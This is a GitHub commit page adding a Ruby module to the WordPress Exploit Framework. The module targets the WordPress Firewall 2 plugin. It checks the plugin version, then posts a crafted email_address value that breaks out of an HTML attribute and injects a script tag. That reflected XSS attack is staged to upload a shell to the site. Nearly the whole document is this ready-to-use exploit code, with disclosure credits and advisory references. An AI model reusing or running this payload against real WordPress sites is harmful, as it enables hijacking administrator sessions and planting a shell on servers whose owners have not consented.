Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 9958e82

Browse files
committed
Add WordPress Firewall 2 reflected XSS shell upload
1 parent f241d77 commit 9958e82

File tree

1 file changed

+36
-0
lines changed

1 file changed

+36
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
class Wpxf::Exploit::WordpressFirewallReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WordPress Firewall 2 Reflected XSS Shell Upload',
9+
author: [
10+
'Tom Adams', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8787'],
15+
['URL', 'https://security.dxw.com/advisories/csrfstored-xss-in-wordpress-firewall-2-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/']
16+
],
17+
date: 'Apr 04 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('wordpress-firewall-2', '1.3.1')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php')
27+
end
28+
29+
def initial_script
30+
create_basic_post_script(
31+
vulnerable_url,
32+
'email_address' => "#{Utility::Text.rand_email}\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input value=\\\"",
33+
'set_email' => 'Set Email'
34+
)
35+
end
36+
end

0 commit comments

Comments
 (0)